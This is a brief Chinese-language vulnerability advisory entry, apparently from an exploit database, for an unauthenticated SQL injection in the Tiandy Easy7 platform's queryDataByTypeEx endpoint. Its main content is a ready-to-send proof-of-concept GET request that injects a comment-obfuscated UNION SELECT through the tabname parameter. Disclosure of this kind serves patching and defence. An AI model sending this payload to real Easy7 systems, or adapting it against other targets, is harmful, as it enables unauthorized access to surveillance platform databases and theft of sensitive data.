天地伟业Easy7 queryDataByTypeEx SQL注入漏洞

日期: 2025-10-14 | 影响软件: 天地伟业Easy7 | POC: 已公开

漏洞描述

天地伟业Easy7平台存在前台SQL注入漏洞，攻击者可获取数据库敏感信息

PoC代码

GET /Easy7/rest/workbook/queryDataByTypeEx?tabname=/*!TAB_WORKBOOK_TYPE*/where/**/1=1/**/union/**/select/**/md5(1),1 HTTP/1.1

相关漏洞推荐